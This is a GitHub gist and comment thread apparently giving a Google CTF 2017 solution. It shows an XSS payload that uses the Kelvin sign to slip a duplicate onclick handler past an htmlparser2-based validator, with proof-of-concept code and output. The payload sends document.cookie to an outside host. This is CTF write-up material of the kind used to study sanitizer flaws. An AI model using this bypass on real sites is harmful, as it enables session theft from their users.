Skip to content

Instantly share code, notes, and snippets.

@buglloc
Last active May 21, 2018 10:24
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save buglloc/929bf2cb24af1cc05a6a664a71f8031f to your computer and use it in GitHub Desktop.
Save buglloc/929bf2cb24af1cc05a6a664a71f8031f to your computer and use it in GitHub Desktop.
Geokitties v2 (#GoogleCTF 2017)
<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>
@buglloc
Copy link
Author

buglloc commented Jun 19, 2017

in the first onclick attribute is \u212A (KELVIN SIGN)

@the-st0rm
Copy link

You mean replacing the "k" in onclick with will pass the regex validation and will work on the browser?
Also what was the plan to do that automatically? did you fuzz it? if yes how did you verify the result of the fuzzing?

@buglloc
Copy link
Author

buglloc commented Jun 19, 2017

You mean replacing the "k" in onclick with K will pass the regex validation and will work on the browser?

@the-st0rm. Nope..
What we known about a html attributes:

  • Attribute names are case insensitive
  • Duplicate attribute are rejected (used first value)

E.g. for html code <a onclick="" oNclick="some"> browser will create the element a with attribute onclick="".
Therefore htmlparser2 uses String.prototype.toLowerCase for attribute names and reject duplicates:

Parser.prototype.onattribend = function(){
    if(this._cbs.onattribute) this._cbs.onattribute(this._attribname, this._attribvalue);
    if(
        this._attribs &&
        !Object.prototype.hasOwnProperty.call(this._attribs, this._attribname)
    ){
        this._attribs[this._attribname] = this._attribvalue;
    }
    this._attribname = "";
    this._attribvalue = "";
};

Now let's look into the validation function:

// blog.js
function validate(node) {
    [...]
    for (var name in node.attribs) {
        var value = node.attribs[name];

        if (/^on.+/.test(name) && value !== '')
            throw 'Invalid event';

        if (name == 'href' && /^(https?:)/.test(value) === false)
            throw 'Invalid link';
    }
    [...]
}

As you can see, it allows an empty html events. So, all we need is to create duplicate html event for htmlparser2 but unique for browser.
This could be done with \u212A, because after toLowerCase it transforms to \u006B:

> '\u212A'.toLowerCase().charCodeAt(0)
107

PoC:

htmlparser2

const htmlparser = require('htmlparser2');
const handler = new htmlparser.DomHandler(function (error, dom) {
    for (var i in dom)
        console.log(dom[i]);
});

const parser = new htmlparser.Parser(handler);
parser.write(`<a onclic\u212A="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>`);
parser.end();
{ type: 'tag',
  name: 'a',
  attribs: { onclick: '', href: 'https://ya.ru' },
  children: 
   [ { data: 'asd',
       type: 'text',
       next: null,
       prev: null,
       parent: [Circular] } ],
  next: null,
  prev: null,
  parent: null }

browser (Chromium 59):

const parser = new DOMParser();
const doc = parser.parseFromString(`<a onclic\u212A="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>`, 'text/html');
console.dir(doc.querySelector('a').outerHTML);
<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>

@the-st0rm
Copy link

Make sense 👍
Thanks

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment